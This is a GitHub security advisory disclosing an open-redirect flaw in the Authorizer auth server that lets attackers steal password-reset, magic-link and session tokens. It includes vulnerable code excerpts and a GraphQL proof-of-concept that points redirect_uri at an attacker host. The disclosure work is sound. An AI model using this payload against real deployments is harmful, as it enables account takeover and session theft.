GHSA-x3f4-v83f-7wp2: Authorizer Password Reset Token Theft And Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x3f4-v83f-7wp2",
  "modified" : "2026-04-06T17:59:27Z",
  "published" : "2026-04-06T17:59:27Z",
  "aliases" : [ ],
  "summary" : "Authorizer: Password reset token theft and full auth token redirect via unvalidated redirect_uri",
  "details" : "Hi,\n\nI found that 6 endpoints in Authorizer accept a user-controlled `redirect_uri` and append sensitive tokens to it without validating the URL against `AllowedOrigins`. The OAuth `/app` handler validates redirect_uri at `http_handlers/app.go:46`, but the GraphQL mutations and verify_email handler skip validation entirely. An attacker can steal password reset tokens, magic link tokens, and full auth sessions (access_token + id_token + refresh_token) by pointing redirect_uri to their server. Verified against HEAD (commit 73679fa).\n\n## Affected Endpoints\n\n1. **ForgotPassword** (`internal/graphql/forgot_password.go:76-77`) - password reset tokens\n2. **MagicLinkLogin** (`internal/graphql/magic_link_login.go:150-151`) - magic link auth tokens\n3. **Signup** (`internal/graphql/signup.go:211-212`) - email verification tokens\n4. **InviteMembers** (`internal/graphql/invite_members.go:90-91`) - invitation tokens\n5. **OAuthLoginHandler** (`internal/http_handlers/oauth_login.go:18-20`) - OAuth redirect stored in state\n6. **VerifyEmailHandler** (`internal/http_handlers/verify_email.go:27,178`) - full auth tokens (access + id + refresh)\n\n## Root Cause\n\nBecause these 6 endpoints completely lack the `validators.IsValidOrigin()` check, this vulnerability bypasses secure configurations. Even if a production administrator strictly configures `AllowedOrigins` to `[\"https://my-secure-app.com\"]`, an attacker can still steal tokens by passing `https://attacker.com` to these specific GraphQL mutations. The validation only exists in the `/app` OAuth handler, not in any of the GraphQL mutations.\n\nIn `forgot_password.go:76-77`, the user-supplied `redirect_uri` is accepted without validation:\n\n    if strings.TrimSpace(refs.StringValue(params.RedirectURI)) != \"\" {\n        redirectURI = refs.StringValue(params.RedirectURI)\n    }\n\nThe reset token is appended to this URL at `internal/utils/common.go:77`:\n\n    func GetForgotPasswordURL(token, redirectURI string) string {\n        verificationURL := redirectURI + \"?token=\" + token\n        return verificationURL\n    }\n\nCompare with the OAuth flow at `internal/http_handlers/app.go:46` which validates correctly:\n\n    if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {\n        c.JSON(400, gin.H{\"error\": \"invalid redirect url\"})\n        return\n    }\n\nThis validation is missing from all 6 endpoints listed above.\n\n## Most Severe Path: Full Token Theft via verify_email\n\nAfter a user clicks the verification link, `verify_email.go:178` generates full auth tokens and redirects to the (unvalidated) URL:\n\n    params := \"access_token=\" + authToken.AccessToken.Token +\n        \"&token_type=bearer&expires_in=\" + ... +\n        \"&id_token=\" + authToken.IDToken.Token + \"&nonce=\" + nonce\n\nThe redirect_uri is stored in the JWT claim from the original request (attacker-controlled). The attacker receives the victim's access_token, id_token, and refresh_token directly.\n\nBecause tokens are appended as URL query parameters, they are also automatically leaked to the attacker's server access logs, the victim's browser history, and any third-party analytics scripts on the attacker's page via the `Referer` header.\n\n## PoC\n\n    mutation {\n      forgot_password(params: {\n        email: \"victim@example.com\"\n        redirect_uri: \"https://attacker.com/steal\"\n      }) {\n        message\n      }\n    }\n\nThe victim receives a legitimate password reset email with the link `https://attacker.com/steal?token=<reset_token>`. Clicking the link sends the reset token to the attacker.\n\n## Impact\n\n- Account takeover via stolen password reset tokens\n- Full session theft via stolen access_token + id_token + refresh_token\n- Passwordless account compromise via stolen magic link tokens\n- No authentication required to trigger (the GraphQL mutations are public)\n- Victim only needs to click the email link from their trusted Authorizer instance\n\n## Additional Note\n\nThe default `AllowedOrigins` at `cmd/root.go:39` is `[\"*\"]`, so even the OAuth endpoint's validation is a no-op by default. Recommend changing the default to require explicit configuration.\n\nKoda Reef",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/authorizerdev/authorizer"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260329085140-6d9bef1aaba3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/authorizerdev/authorizer/security/advisories/GHSA-x3f4-v83f-7wp2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/authorizerdev/authorizer/pull/502"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/authorizerdev/authorizer/commit/6d9bef1aaba3f867f8c769b93eb7fc80e4e7b0a2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/authorizerdev/authorizer"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/authorizerdev/authorizer/releases/tag/2.0.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-601" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-06T17:59:27Z",
    "nvd_published_at" : null
  }
}